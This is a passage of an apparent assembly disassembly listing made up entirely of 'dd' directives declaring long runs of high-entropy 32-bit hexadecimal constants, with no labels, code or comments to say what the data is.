		dd 0FCEF1ED4h, 0AEB5E4E8h, 0A9281B18h, 10DF249Ch, 6D49E7A8h
		dd 54631171h, 0CA1EC3CBh, 18868763h, 8CAD48A2h,	0AAA54AACh
		dd 5844A728h, 0DA0D213Eh, 4D3ADAF7h, 0B31A906Fh, 6A231F98h
		dd 0E8ED70D4h, 3A79A265h, 56454706h, 58ED940Eh,	849AB83Ah
		dd 8AEDAE5h, 0D0E817C3h, 0A400D065h, 7B416B12h,	0AEEDB4F7h
		dd 45ECF9A3h, 21AA8196h, 44A620D3h, 7366D4A2h, 9AFD4F0Eh
		dd 0ABCBF3FBh, 3EAC3F86h, 0D5685BD7h, 0FEF76A06h, 26A3ECF1h
		dd 0AC8A582Fh, 0DCF030E6h, 0C9C89C44h, 29776680h, 56853DA2h
		dd 179EE343h, 70C04150h, 0EAB03C6Ch, 7E86AD7h, 57F21CC7h
		dd 0EC6AC564h, 6E330219h, 0E1269762h, 0CE20D035h, 73539A29h
		dd 55EDDD99h, 50B09DAFh, 59BDCE31h, 843C015Fh, 46CBB43Ch
		dd 315216EBh, 0B6E27464h, 0D6486D04h, 0AECFA87Fh, 59173F9Fh
		dd 0A2409C2Bh, 233A110Eh, 0C4FA0E69h, 3DF15D1Ch, 54D5180Bh
		dd 52F3801Bh, 0FAF9E951h, 12DEDB1Ch, 0FBC849B8h, 0D4242D86h
		dd 547A710Dh, 49D8253Ah, 17D49252h, 2707E708h, 0B2E4C738h
		dd 0AC84011Fh, 1D662FB4h, 8492C75Eh, 2DBB6BE6h,	6072BFDDh
		dd 0AF79F25Bh, 0CA24964Ch, 73851317h, 58DC647Fh, 0A9791C0h
		dd 0E149F0C3h, 0F3717F2Ch, 4981C4CCh, 5D967B49h, 28A1C211h
		dd 281E6D37h, 0CB3C8F12h, 0B9A3F52h, 0D1501737h, 18BD117Dh
		dd 0A6769670h, 0D60A4E34h, 73325F8Bh, 4EAEFE7Eh, 0EA5A1910h
		dd 10B3DCA6h, 32980E6Bh, 329DBA2h, 78A5639Eh, 0DB51464Fh
		dd 0B3184896h, 7CCE0FE1h, 3330369Eh, 0FFA61F7Dh, 7F711867h
		dd 5B23DD7Bh, 0C9721C98h, 2A2884EEh, 718F4826h,	0A3F6C215h
		dd 8CE21266h, 39CC4E81h, 84EB8445h, 3C5E1D42h, 0D08A60E9h
		dd 35FB4383h, 8B977CBBh, 0CD243263h, 29ADF477h,	0D4516154h
		dd 627317BEh, 0A3D4BE7Fh, 20FE7AC5h, 99B70F02h,	7FBCF2D5h
		dd 0C04A7397h, 2633EBBEh, 0B48F0896h, 0EC780127h, 0A5A5970Fh
		dd 9601394Dh, 0D97463EDh, 8F76F0C4h, 0E646BB08h, 0E283C269h
		dd 0DFFECEF0h, 0ECF8E382h, 0F5A8C943h, 0C8A1450h, 387F64F3h
		dd 0E0C26FAFh, 0AC8315DBh, 3B162A5Bh, 5EC54631h, 0D17B8836h
		dd 98DDE340h, 1F6D9100h, 44C280A4h, 42E2ADFEh, 0F8265F4Dh
		dd 3DD78214h, 139B11C4h, 6EBAE1F1h, 9A48F5A6h, 132F7159h
		dd 71C0424Dh, 91358166h, 741E0925h, 97040BE6h, 0C8694C4h
		dd 8AAEBB12h, 3EF09DE4h, 8C2EE984h, 0A6EC199Bh,	6D11EB0Ah
		dd 0DAC80C21h, 265E2F77h, 0C135E28h, 82BE7F49h,	48333D9h
		dd 5FEFDEDh, 0FC485608h, 4ADDFB02h, 0C974B553h,	51B24ABAh
		dd 7DEE91ABh, 8EE5BD71h, 0A05874DDh, 7D8E03A2h,	0F142A366h
		dd 0C152BB5Fh, 800F14D1h, 657C7810h, 0CB3120CDh, 7D595CA2h
		dd 0DE267A13h, 80110DA0h, 14CEB284h, 0A5FF2290h, 0E04669ECh
		dd 3C522D26h, 17269CAAh, 0D546D5ACh, 79E430E4h,	200CDEDEh
		dd 0E89A6434h, 0F511E32Ch, 8FDFB0ADh, 767208DFh, 85155358h
		dd 0A7439DEh, 0A6035C08h, 67AC1224h, 52D3D736h,	38020CF9h
		dd 0B9CDB6C4h, 42BF6FE5h, 296AFC11h, 7434672Dh,	64B91EDEh
		dd 94B2BD55h, 2652BBA8h, 4F7F8521h, 0A64B099Ch,	94133735h
		dd 26E4EDD5h, 1701541Bh, 0C2CB1D85h, 0B482A29Bh, 0BF1991EEh
		dd 0D9DBEA81h, 0BD7EAD1Ch, 8FAFE018h, 0ECB53CC0h, 0D2F6A37Fh
		dd 0A6ECE1E8h, 7E2FD241h, 32B4E4C9h, 308C275Bh,	0F83F95FDh
		dd 0CE531DA7h, 0E3C6B63h, 19E56240h, 45FDA7F2h,	586234F8h
		dd 363C8457h, 0E719B668h, 30FDC893h, 0E16E1423h, 276D54F6h
		dd 0EAA51A06h, 129CCB15h, 0DAFD6BA0h, 0ECEF759Bh, 0A437A472h
		dd 0A5BCC5CCh, 0FE4B4966h, 54AF818Fh, 171DB85Dh, 8343185Fh
		dd 0E9448B07h, 0A23499A7h, 80739409h, 51F17FA6h, 0F5A9E041h
		dd 7A3B25D6h, 92A24736h, 27F71920h, 0D2D58EB4h,	9BBC5F40h
		dd 66B049BAh, 0F8A252F2h, 57E713C3h, 0BD68F30Ah, 0DBD8AEB3h
		dd 0E88DF482h, 0D6F72C2Ah, 1B88A5A2h, 0C8D3092Ch, 31FC38D7h
		dd 98AFE854h, 0B9F861D4h, 4F187109h, 5BEC8E9Ch,	6B7B0937h
		dd 0CBFF92DBh, 0B8787C16h, 0B7A4BEA4h, 84597AF8h, 0AA02F1EFh
		dd 0BC6CEF69h, 0E3517D55h, 66B4D1C3h, 72046660h, 76444B7Eh
		dd 12E512C9h, 0B2D46912h, 9563F9FEh, 0CF54006Eh, 0C66A8BA0h
		dd 0FC582888h, 0A481FCF9h, 0D2D9B9DDh, 257ED57Eh, 779425AEh
		dd 2D4BEB0Dh, 71388121h, 360A8AA9h, 17515ACCh, 0C2B522F9h
		dd 956A3F9Ah, 10AF8800h, 9ACBE26Ah, 44CE845Fh, 7CE411CAh
		dd 128320ABh, 0DF8287A1h, 36B4EF0Dh, 6142D454h,	40A98197h
		dd 0AED347BFh, 0CFA34C12h, 2C70FB11h, 710EA848h, 0AABF6839h
		dd 2D5018C0h, 0E91F0934h, 74AE1B64h, 97F07FD1h,	4A78CA87h
		dd 8AF8254h, 6F3EC3D1h,	1CB54282h, 0F78E7BC4h, 113A5241h
		dd 6454FEA0h, 0A6326B71h, 0C0B0458Dh, 423A77AEh, 0A04DE3B7h
		dd 0DE9A1F2h, 0A1113683h, 4595DABEh, 3F60DFC9h,	974EC5EEh
		dd 51B0913Ah, 0FD55BE32h, 62CE5FFh, 0FE0C0267h,	0B44989B1h
		dd 85FAC79Dh, 0A5C98CAh, 4435EBE3h, 0C5B5013Eh,	833982D5h
		dd 7BD68E53h, 0BBD7EF54h, 0C41B46B5h, 0C9163BEBh, 0F60EF84Ch
		dd 0CAF1CE36h, 0B2D28D24h, 334C1AE9h, 0F33BCD5Ah, 1DD65FE1h
		dd 24F8C08Bh, 8F23A5CFh
		dd 0FEB0C2CAh, 0D0A5F463h, 0BC050B94h, 5C2E6193h, 8607FDEEh
		dd 8E442A3Fh, 0DC92E745h, 328FF1ACh, 0B876A20Ch, 0B0ADE69Dh
		dd 0A07B1FC6h, 4B24D6CCh, 0F1EB6AE3h, 7EE7DA7Eh, 0A4C747F9h
		dd 22035A49h, 3077DD22h, 657BB0AAh, 0D3D5FDD7h,	0D22C7AE4h
		dd 0CDD96BA6h, 0C55CF921h, 0FFE93DEDh, 0D33919E1h, 17B34359h
		dd 2E8F6D1Eh, 1E57EAF3h, 0C3374C44h, 6CBC1CB3h,	0FEDFBE5Ah
		dd 17F1FCCEh, 32EF905h,	467E6976h, 0AB094588h, 83329E52h
		dd 81E4CB49h, 6136C40Fh, 0EFD379D2h, 0B3F67513h, 6769A0CCh
		dd 0E02D2649h, 0A757FE29h, 0A4B22B1Fh, 41F66939h, 2EE935FFh
		dd 80693666h, 9D7873B7h, 0E376077Ah, 0DAFD813Dh, 0C8625DB4h
		dd 918FAF67h, 42228465h, 0D06876A0h, 2576FB3Dh,	0AAC289B3h
		dd 6D333B26h, 5C50B89h,	0B95E1EA4h, 0DB7A5524h,	6A71649h
		dd 0CF67BCF3h, 63B6E914h, 22F410Ch, 8D90C055h, 0EA487BC7h
		dd 24FFC03Ah, 6526CD9Eh, 0A2CC5918h, 7E3C5B36h,	88A7DD7Bh
		dd 38C06AE9h, 64D62328h, 5AC5509Eh, 0FD9262E8h,	9601B996h
		dd 0C6FD479Ah, 0F739B7E9h, 5E81B777h, 90391287h, 0AA324456h
		dd 0FF76A784h, 7567FDF1h, 4E1D0B6Fh, 19E845BBh,	0ACAEB60h
		dd 0CD8CC80Ah, 455E2832h, 6823C787h, 93E96107h,	4D47EF06h
		dd 0BC8B8DA0h, 72392800h, 7BDE0BD2h, 0C9904F19h, 144E7F94h
		dd 0FC12A63h, 43628EE4h, 76A60270h, 4676BA46h, 9FF319F2h
		dd 58049204h, 2F93208Ah, 0FE56CBA7h, 9C3F9553h,	0A204D26Bh
		dd 3E528356h, 1DCD6DDDh, 0CC9B6B6Eh, 4CAA9EF5h,	0BF54A097h
		dd 5FACE2E8h, 758E35DBh, 0A1998BCCh, 0E9F4D098h, 60917348h
		dd 4361036Dh, 4511167Ch, 7EA758C6h, 7C01CFC6h, 28EAEC4h
		dd 6662E4EFh, 3594B0E5h, 0B645ABD4h, 44EACCDDh,	0A3C49F6Bh
		dd 82E3AD76h, 0C2BA721Dh, 0D0910B88h, 8CCF0CC3h, 0AA2BEBF3h
		dd 63C9A19Dh, 0AB933C57h, 0DF37B0Ah, 79B36D6Fh,	54B2F477h
		dd 0D0E445AFh, 1A72C8EFh, 0ED3EF612h, 6F118B88h, 0E95CC5B4h
		dd 1B34FAB1h, 5A6F81CBh, 0B700A8C2h, 0BF2569FFh, 66AC7258h
		dd 0E86B7576h, 71B68D1Eh, 78127819h, 0D37A1D68h, 3CE58C90h
		dd 0DEF1803Bh, 124CD1D1h, 6E45A4B4h, 6742168h, 3CAC037Dh
		dd 68F2BA62h, 77090EDAh, 0DF96C2C3h, 7265234Bh,	2BD9D7C8h
		dd 33525087h, 7E64D4ACh, 0B135316h, 97B7532Fh, 5C57B7E8h
		dd 4B91AAC4h, 405DB59Ch, 0EA871932h, 1889C13Dh,	0BD8230F5h
		dd 5C16910Fh, 22AC7B88h, 2FF91AE2h, 0A6381310h,	0E777B6CDh
		dd 73E052EEh, 0DB4BCE96h, 8E59D114h, 10BA8227h,	0D828BBA3h
		dd 22BAE20Dh, 0DD4B2C77h, 48DC8616h, 40867120h,	0AC0A3CB9h
		dd 9A0476E7h, 0D30C077Ch, 0A7E790A4h, 31641105h, 8AF0500Fh
		dd 91BA2B3Fh, 0BADFC01Bh, 0F48DDC4Eh, 314C9A6Ch, 0C08AF171h
		dd 0D235BCDBh, 0B538673Ch, 0A40E85C4h, 2C72B240h, 2BE0224Fh
		dd 0B1AEC948h, 0A70CF24Dh, 71BE8D86h, 6C3DEF14h, 0D1E40DDh
		dd 677C90C4h, 0DE188C6Bh, 4693102Ah, 0DFF785BCh, 8E80730Ch
		dd 2D002ED1h, 0C071F872h, 78A6AD5Eh, 1062DE1Fh,	5F2F39E0h
		dd 0E2AD9024h, 9E3487A5h, 85C89D0Dh, 0F022C28Dh, 0AD43343Ah
		dd 2607D6A1h, 0ED83AA75h, 7CC6C791h, 6CC61C0Ah,	0A46B3B7Dh
		dd 6C605AB8h, 5D405FB2h, 173C72CAh, 0D9EF96E5h,	610A2CCCh
		dd 0C0FE278h, 0E7FEACh,	5D5B748Bh, 77E10A64h, 6EBE05C4h
		dd 91AD1DAFh, 0EAD6DEB8h, 0D2AEF582h, 0C3DF6B4Eh, 0E0A664EAh
		dd 55AC410Fh, 60F3C7Ch,	0CD1BD205h, 1F326D1Ch, 13F55CB3h
		dd 0A45046D8h, 97408BDFh, 9305502Fh, 39C5CAE8h,	55729563h
		dd 0CC1D5A6Fh, 2D7642Ch, 44211181h, 0EEB04A86h,	7D085C4Bh
		dd 0EB89DC62h, 0B510A77Eh, 0A25157DCh, 68F49F0Ah, 0E98DD62Ah
		dd 92B772Dh, 17104B41h,	786B7EAh, 0B8ADA9F1h, 2D7059E7h
		dd 53BD69Ah, 7DF6E38Dh,	5C998518h, 0FA1F96C2h, 0D7972145h
		dd 94B07304h, 37B3BD1Dh, 47978DAEh, 0EB1EA69Eh,	6FC3552h
		dd 83AC184Fh, 2032CF5Eh, 7A749A02h, 0F25A6BCDh,	3FAE5E9Dh
		dd 0FA01991Dh, 0DF75DAFEh, 2A5A1365h, 0E27C57B2h, 5F111146h
		dd 13F7051Eh, 8E77942h,	0A9B15DF8h, 0A4714E25h,	0BD69A47Fh
		dd 0DDF37D45h, 0D16C41FCh, 4EC06BAFh, 6E79D081h, 2462AF07h
		dd 2A7548C9h, 33428527h, 4A9B8358h, 0A4D1F770h,	6B47CB11h
		dd 0BCDD9054h, 66D9B1BCh, 0EF942126h, 5E0AF3CBh, 8C9A959Dh
		dd 0A17208CAh, 0AF329385h, 78469C3h, 0E39384DCh, 0C6189D1h
		dd 0F0859BC0h, 8EF5066Ch, 6DF6E240h, 0ECDDFB51h, 0F674BB2Eh
		dd 8A5988F2h, 7EED4675h, 27B3FDFFh, 0A1A2D1DCh,	657B0E77h
		dd 9430DFC7h, 826BD327h, 74C4B7FFh, 0CE4AABCAh,	105C3A07h
		dd 0C203FF14h, 0D79B9084h, 855F3B2Fh, 10B658D9h, 82CD2762h
		dd 0A32D678Ah, 0AECC1EF5h, 5EF8E371h, 314783FEh, 7BE27678h
		dd 3C4FDA68h, 0BC7B8BE0h, 0CA555E5Eh, 0C739919Dh, 49CBF856h
		dd 97F38F00h, 7FCAA63Dh, 2F4002DCh, 0BD000FEh, 912C4C8Dh
		dd 8598F016h, 69981CA2h, 0A6F1EA11h, 32E305EFh,	7475A8B1h
		dd 0ED9BE0F3h, 8F49899h, 0CAF98616h, 1C6D937Bh,	92BE6DB4h
		dd 0ADF8961Ch, 0F1887460h, 5F750E9Dh, 0AD0F7C42h, 0C7E52D60h
		dd 0ACC4C018h, 7F115A25h, 202E33EEh, 3A3CCFA5h,	5C7D463h
		dd 7A0906AFh, 0B5AF3019h, 880745E8h, 0F61E4E98h, 0F31AD078h
		dd 0A1847CFh, 9C68FEE7h, 567D019Ah, 0B32236CFh,	0E23465E7h
		dd 0F7AFBE2h, 34E69288h, 86B66E48h, 8292F02h, 0A672D365h
		dd 340A4B2Bh, 76ACEC10h, 2C0631A5h, 326D93Bh, 34867D37h
		dd 85225EEEh, 6EDCA319h, 0F1A01B19h, 0B68D4C38h, 0D53A5016h
		dd 38D71EADh, 41528458h, 7348F881h, 0EB52C749h,	12C3CA47h
		dd 65713B66h, 9B30C004h, 0C0034F41h, 1CA7D491h,	4E2BF4FCh
		dd 99F41FFDh, 38CBEDC4h, 754844D8h, 802F2648h, 5956EEA9h
		dd 617FCF82h, 0E6E7D240h, 5A192EF6h, 0E99B3304h, 0C782143Bh
		dd 20E7BCA5h, 740191C0h, 28BF94E2h, 0CA79CB34h,	504640F8h
		dd 86F4D228h, 0E2EB3A67h, 0AE02213Ah, 925C1804h, 11962E22h
		dd 48E827EDh, 0DDCF909Ch, 26F505AEh, 0F376A5E0h, 8C6E40A0h
		dd 0AB74C287h, 95F06CD1h, 0AF6DD183h, 0C6401971h, 0A582800h
		dd 6F7C4ADh, 4F1B2FA7h,	916F458Ch, 53C6FE7Dh, 8C7AD03Fh
		dd 0F493EFB9h, 6135846Fh, 0D69FA1F6h, 0EF54534Dh, 0F4092441h
		dd 2821249Dh, 0FED4D95Bh, 0F1E5AF27h, 9C6F5ACAh, 0C965A166h
		dd 6E2FE2E8h, 0A5706166h, 9BCF81DCh, 75334E65h,	0CE1AA97h
		dd 56565D43h, 4B8F957Ah, 0DB5E6847h, 924AD6E0h,	20785C4Dh
		dd 0C7846553h, 69EE5015h, 5DF23C50h, 9B665418h,	9F4956FFh
		dd 8F44B93Fh, 3BC63B30h, 8C7EC88Dh, 429142D5h, 35B9E396h
		dd 0FC4C312Ch, 7CD675ECh, 0DE890431h, 0E3A4E349h, 705E4D06h
		dd 0F9EF5DD2h, 0AF4860D5h, 51840468h, 262832Bh,	0B4A5B85h
		dd 0D99BD978h, 38058305h, 640E285Bh, 0D5F4480Eh, 5F3304CCh
		dd 0F395983h, 0F7B3D43Fh, 0CCF80E23h, 7B8C75A1h, 82CEC668h
		dd 0E2B22526h, 45D56024h, 0D4016EC7h, 0CE3A006Bh, 68236Eh
		dd 93B22AE5h, 0BE4D62A6h, 0E3705179h, 5DAE44F3h, 8A94AA77h
		dd 151B7EA7h, 9FB86899h, 2410183Dh, 4D8529Ch, 31D60B79h
		dd 6A7EC5ABh, 0C11BA271h, 591E8E70h, 2B6F9447h,	19CDA799h
		dd 9572D90h, 5807D873h,	36F4AA62h, 0C13262F1h, 6E230E06h
		dd 0F59F272Dh, 0C25688E7h
		dd 0B030A264h, 501500DAh, 0AEF113C4h, 62BE04Fh,	2A3FD42Ch
		dd 0F5EA21F3h, 2A72F3C6h, 0B15EE179h, 7FCF1FC2h, 0AA3A9404h
		dd 0CF5D4C5Ah, 6CCDC559h, 0ADBD0455h, 0FF2ADFBFh, 0EA6B0AC8h
		dd 8CB64769h, 8CE11AD5h, 66BFA793h, 8682F04Ah, 0C5C49039h
		dd 23A2211Eh, 0EFF9B46Dh, 2F0894A6h, 45FD01B3h,	3780BDC2h
		dd 0CBD6417Ah, 0FA34BEB9h, 9B29E227h, 0C3EA9552h, 9949D3C8h
		dd 0F5A48C81h, 0A51A84E3h, 3901F802h, 526C20B5h, 85EB61ECh
		dd 0A3B51888h, 0E0FC8B53h, 8B23426h, 0C40E12A5h, 0C9D798BEh
		dd 28C0EF50h, 0FB3BD243h, 79A9BC8Ch, 871A4F18h,	5BF0ABF3h
		dd 3C3F6832h, 2F088179h, 7DB74538h, 0FC9F7462h,	0ACB2E89Ch
		dd 99073FBCh, 0CE2971CBh, 57B412B3h, 0CDFF8BE2h, 0BA6D0A73h
		dd 0DD03FE2Bh, 0EF62B577h, 8F236A07h, 0A27A1A55h, 2567769Eh
		dd 589E026Eh, 7C27D9F0h, 20019666h, 5E5E9FD2h, 385E5846h
		dd 2EE05FD7h, 0DD4E258h, 35889D4Dh, 0C38D345Ch,	56D8BCBFh
		dd 962698C2h, 980B578h,	93555B68h, 23580A7Ah, 0ADAA20ABh
		dd 7A954420h, 0ED3B5C69h, 10487EBh, 664EDF16h, 0E0D24D64h
		dd 0E30FC918h, 0B96B80D5h, 38218215h, 7B0F71CAh, 0B8B1DC89h
		dd 8DC599EBh, 9E377879h, 1311D7DBh, 69F79E1Fh, 4EF90449h
		dd 45E5CFE7h, 0BF3FD937h, 99CE3C36h, 0FCD48424h, 5DFD6A42h
		dd 3836BA4Dh, 6D597FF8h, 1A2DF08Eh, 0FE100E0Fh,	0A6F61D94h
		dd 1527F3B2h, 4BB5511Dh, 81DABD7Dh, 67F2C461h, 0E85B35DAh
		dd 67C7661Eh, 219372F5h, 455BA188h, 0D7FEF7A2h,	8510F1B5h
		dd 0B3F983BFh, 356115E1h, 39A97D21h, 111F3EA0h,	647BD1Eh
		dd 85E2C3DAh, 57B1AB3Ah, 103E8CF0h, 0F3B1DAE2h,	8C9AC652h
		dd 5843C6DEh, 468A3482h, 83841ED9h, 9DB861C1h, 1679965Fh
		dd 0E21B2962h, 0AE13A378h, 97EDD1C0h, 0CE083961h, 0A36C4960h
		dd 6249C6AAh, 0D16FC596h, 3E8EE996h, 24AC229Eh,	6C9FC635h
		dd 0F4B69C85h, 5816491Ch, 0E46C5F19h, 5B7BDD82h, 0A14FE6A8h
		dd 98C4DA9Ah, 2292E9E8h, 0ADFFBEDFh, 4032E5A8h,	96FB933Dh
		dd 8D8DFE75h, 57611816h, 0EABC157Dh, 492D975Dh,	0F8E60F6Bh
		dd 0C5F74477h, 53C8A4D9h, 1D0059B7h, 59B22062h,	76065A9Ch
		dd 709A651h, 5553680Bh,	3CE7F2EBh, 8E2C8989h, 3E965062h
		dd 0B7DA51F7h, 0EF506AAAh, 0BE5F4F19h, 20E7A7F8h, 0C3DAC7D3h
		dd 28FCAED1h, 8BA18042h, 0DC93FFDFh, 9AF884C0h,	0DAC392A1h
		dd 3D68652Bh, 0DB81DD28h, 21C86FB6h, 0C47DE774h, 0D670E066h
		dd 3A2F0EC0h, 0AD502411h, 0ECDAA26h, 1508B2D5h,	0A7134053h
		dd 80E7CE60h, 0AD15F0A7h, 0B984A3C2h, 0E214903Dh, 60FE0566h
		dd 70661D8Ah, 3B41DAA8h, 1B92F27Dh, 4426F908h, 5950FD4Fh
		dd 36614294h, 1FACD27Fh, 0A1A08823h, 2BC6BAC3h,	0FBA66E4Fh
		dd 6732DC36h, 1217961h,	8B10CA6Bh, 0D277B344h, 3A894ACFh
		dd 69B8AF9Eh, 0F93AD698h, 1D06A4h, 6ECD9386h, 8445EB6Bh
		dd 66731D0Bh, 0C1F5A778h, 0E7860FD5h, 0D74AFF0Ah, 0A0FDD748h
		dd 8B7BE0AFh, 0DA1A9E14h, 8E76B377h, 9874C550h,	0C5D78E8Ah
		dd 97E624Bh, 0AA4090A1h, 0CF4DCD89h, 0C8575E8Bh, 0B5546335h
		dd 0B2F83E40h, 0A3D3D289h, 0BA74458Ah, 77D4AAA6h, 0A706E682h
		dd 4E3FC3A8h, 38F5A05h,	0EED2C95Eh, 38319927h, 0E67B3518h
		dd 0DEB9C07h, 5BBDDAE6h, 7FA595F9h, 7CF5F109h, 1E28BE63h
		dd 252C9F87h, 0BF301FDAh, 0F96005F0h, 1F978D4Dh, 416EFD57h
		dd 0CDA4FF71h, 0ECDE161Fh, 570D71Ch, 0ADB14A0Ch, 204B650Dh
		dd 6DB9EFAh, 1363F5E7h,	60B15FF5h, 0C20BE0CAh, 0F085ECCDh
		dd 6ED280F5h, 7E9B96A8h, 10999364h, 77292BEAh, 0CBB5149Ah
		dd 9EA4F1F5h, 0B95E8A92h, 70EEB9EFh, 9002E9AFh,	0C65BB28Fh
		dd 751FF4B3h, 0BD67EC17h, 0C2FCEA09h, 0ED205EE5h, 534D5028h
		dd 50ADC49Bh, 0AA7E0E56h, 8B81C118h, 50C040A0h,	0E6458D2Bh
		dd 17C4D5F7h, 154FBA9Ah, 578440E8h, 0C653A3B3h,	41FDAEC5h
		dd 0B10E1523h, 0C775C8A0h, 554B2171h, 0D39448A1h, 73EB9B56h
		dd 0EAEFB834h, 0C0D3958Ch, 3AF16405h, 6A17F075h, 10747D89h
		dd 9D8CA74Ah, 0C66F171Fh, 5BBF2A4Eh, 0AF72EF0Dh, 45F6F4DEh
		dd 0D0AB7F8h, 0B50FC251h, 2458981Ah, 0DE0DC69h,	3A67C9A1h
		dd 48DC5894h, 0FAC6ADB1h, 59E1BE4Eh, 0CE60756Fh, 5BB9982h
		dd 603AC2D5h, 1D7DD07Ah, 5354F937h, 3586D550h, 3264095Ah
		dd 71DC3938h, 937A78DDh, 4C6F1A8h, 971D7EA6h, 8065A037h
		dd 0AD329E3h, 1B138BCh,	0E69E455Ch, 0FFE3E382h,	88DB8C84h
		dd 7EDF4089h, 46AF4370h, 67994548h, 473B3CA6h, 5C5ADEB9h
		dd 0FAE26751h, 0F0BF954Ch, 0B42BBDAEh, 905BC6A2h, 26B8739Eh
		dd 2BA03937h, 139DD6B8h, 0BA24B571h, 9EAE3BD1h,	12CAE567h
		dd 0BEBA826Ah, 3B05F02Ch, 5BE92CCh, 8E97D626h, 0EE360ED8h
		dd 326BCB6Dh, 0E6E2C9E4h, 718A0C48h, 4E36DD89h,	66A67DD9h
		dd 0BB7259D3h, 1A9CF3F9h, 3DDEB399h, 0F9DBCD9Bh, 550E45B3h
		dd 0EDAD4026h, 0AF31F3EEh, 0F4660C72h, 161BF45Dh, 820C3D40h
		dd 30924687h, 575397FCh, 9822FFBCh, 3DBD4766h, 0F4FF6609h
		dd 0A51E3F59h, 76BF4043h, 66C86155h, 0F2C290D3h, 0EA15FD9Fh
		dd 9748212Bh, 4FB447F0h, 0E56D4A2Eh, 0D17BA524h, 0C8F3D069h
		dd 0D7283086h, 505FA626h, 7EDBFCDFh, 0A3D5BFF1h, 0A693A5A3h
		dd 0F820AF5Bh, 16675907h, 0AF99BDDBh, 54563E56h, 0B4184956h
		dd 6419A14Ch, 8DEFD114h, 7572797Ah, 5B877CCDh, 23687E96h
		dd 2B96A6C5h, 0C5C5CB14h, 12363983h, 71FE89Dh, 0A2D6EA76h
		dd 0FC8CEF68h, 9CABB580h, 83A72E18h, 52C20C6Dh,	67D02E0Bh
		dd 121043FDh, 5CEE2E73h, 6E1EE311h, 3A40C767h, 0EDE60C41h
		dd 8C265E7Ah, 869A11B5h, 65769297h, 799DAB1Bh, 2BCF9051h
		dd 0F1FB1EA2h, 0D7ED9E6Ch, 0FF93929Ch, 8445A1B3h, 976A360Fh
		dd 2C86DDC4h, 14D7863Fh, 1DFAA266h, 0AD9FBFAFh,	2A9CCCA2h
		dd 8EF75259h, 0AA07FA64h, 0BD0D44C5h, 488611F9h, 3D68D48Fh
		dd 7D3BD8E0h, 2F9541A7h, 0F96ED41h, 0CA0326F1h,	2CA0AC8Ch
		dd 5DE6FC38h, 0E436B092h, 2F9B837h, 0BB399F92h,	49AD9D67h
		dd 33447345h, 0DFBFCC79h, 0C97161E0h, 10B2711Ah, 3B473DCh
		dd 0EE98D2EAh, 0A6F5C602h, 88657B6Eh, 39C35E3Ch, 6F2D5805h
		dd 0E765A942h, 7D762B49h, 6F97834Ah, 0AD1ACB3Ch, 0BEBEE6DAh
		dd 409B3943h, 0FB44B4C5h, 15AF74CEh, 1B3BC9E4h,	3B691966h
		dd 0A366C0A2h, 1C621ACFh, 5AF9ABDFh, 3A642DD7h,	4AF286C8h
		dd 43B72640h, 0F9CC6197h, 243D4F9Ah, 2910DF0Eh,	0E92C3AF5h
		dd 0FC48A235h, 0A556F969h, 868A2E35h, 0D49F32BDh, 2F176E48h
		dd 0BC4637C4h, 0EEAD19BBh, 0B1D3AD83h, 0ED89D83Bh, 0A478E884h
		dd 9B1DD865h, 69ECA6EDh, 0DB7F3AE2h, 0A1D4714Dh, 2074C582h
		dd 8BF969ECh, 27F3B0CEh, 12F348D8h, 5D5AB29Eh, 0B27FBB54h
		dd 0EF21725Dh, 0EC835027h, 3970E178h, 0B167815Ah, 97D43CFBh
		dd 4E186BEh, 0B9AC42F2h, 0DBD80D5h, 0E8A29CB7h,	3058D6DCh
		dd 0AEFAFB6Dh, 0A697BBF7h, 8497AF75h, 8B64179Eh, 18356CFBh
		dd 0E7889A25h, 0C8296AF9h, 378E648Dh, 27118D8h,	0AF452043h
		dd 248CDA79h, 0DB795E15h, 139A25DBh, 2CC15C7Bh,	1E1CD46Eh
		dd 8A780A96h, 0B9BAC81Dh, 0E7CB2D20h, 5BDBA102h, 6EF09F6Ah
		dd 461FC573h, 927A0361h, 0CF16EEF1h, 0FD174079h, 49B9DC4Dh
		dd 7B9EE46Ah, 0C5B80F36h
		dd 7D0C96Bh, 0E11C4419h, 4556DAA8h, 0E6778841h,	4E272BB1h
		dd 0B79F1092h, 6C4861F8h, 7D903A6Eh, 797CE8Dh, 0B03720h
		dd 8D19B3A6h, 0EAE97BEBh, 50F65E53h, 65F3134h, 4D962E5Ch
		dd 0CCACE7DAh, 0DF7589D7h, 55DD5574h, 0E9A3B8E5h, 73697541h
		dd 43FF1021h, 0A4939AEBh, 98CB6E8Fh, 5B1517E0h,	0A70962F7h
		dd 0BC71D48Ah, 8895632Fh, 1425259Fh, 8ADE04D5h,	5570790Dh
		dd 54E0759Eh, 87D20AFBh, 20A2FB9Fh, 4F553B70h, 0F23A16A9h
		dd 7062078Fh, 95B4EF45h, 0FE8C9CD5h, 7C28ADB6h,	25478ABCh
		dd 7F51CE90h, 2294CB0Bh, 0FB83E380h, 4A2C0741h,	0C81C8AD3h
		dd 0F0F8454Fh, 0D7DA6082h, 7D1BFF40h, 2B5737F6h, 0E1816099h
		dd 0FC0563CDh, 0A5C34306h, 4D185A1Eh, 13B5B3F2h, 0D675D1C2h
		dd 4946B3F9h, 0B925574Ch, 3293F9Ch, 0CE62B254h,	426EBFA8h
		dd 1DAFEF0Eh, 0DF8E0DA4h, 3FBA5A5Fh, 3CC11BA2h,	0DFB5C99Dh
		dd 1EBBC2CBh, 0F6B357EEh, 68F3E8FEh, 686FC6B3h,	0B32F89BAh
		dd 64CCF4A8h, 9738FB90h, 295F2089h, 0E3495C9Eh,	0F94459B2h
		dd 294E1512h, 7DCAA9BBh, 0A9417ED4h, 9B5A343Ch,	18154EAh
		dd 44D99099h, 48F42E8Ch, 2C6BBB0Dh, 0C290FC36h,	31D1B3C8h
		dd 0E4642B17h, 931731h,	0C16F69A1h, 3A51AA65h, 0C93ACFB5h
		dd 0E5A12850h, 30FC471Fh, 0D7BFC48Ah, 0BD99E33Dh, 803C92E2h
		dd 76124B3Ah, 6ADC0B9Eh, 5B4EFECCh, 81B3CAB5h, 3030E703h
		dd 0C8AAF505h, 5171D31h, 0F68BCCDFh, 142D3E95h,	0D3268A0h
		dd 6A147A8Bh, 27D20EE5h, 0FF40B1E2h, 8F8ECDB2h,	0BE7534E0h
		dd 0EF8A8920h, 0E9FD2F1Bh, 0C37EEC6Dh, 0B10CACAh, 4F434515h
		dd 0B0CCAA18h, 3FD1B896h, 0AAF92FF4h, 94DDF492h, 6E05FB0Bh
		dd 0F5892FB5h, 0E773C4FEh, 5AB5C87h, 1B20F51Dh,	0FDC8246Dh
